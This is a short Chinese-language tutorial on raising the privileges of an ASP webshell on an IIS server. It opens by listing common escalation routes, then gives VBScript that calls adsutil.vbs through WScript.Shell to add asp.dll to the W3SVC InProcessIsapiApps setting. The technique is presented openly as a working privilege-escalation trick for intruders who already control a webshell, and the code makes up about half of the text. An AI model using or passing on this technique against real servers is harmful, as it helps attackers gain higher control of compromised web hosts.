ADSUTIL.VBS提权

asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下
========================================================
set wsh=createobject("wscript.shell") '创建一个wsh对象
a=wsh.run ("cmd.exe /c cscript.exe C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps C:/WINNT/system32/inetsrv/httpext.dll C:/WINNT/system32/inetsrv/httpodbc.dll C:/WINNT/system32/inetsrv/ssinc.dll C:/WINNT/system32/msw3prt.dll C:/winnt/system32/inetsrv/asp.dll",0) '加入asp.dll到InProcessIsapiApps中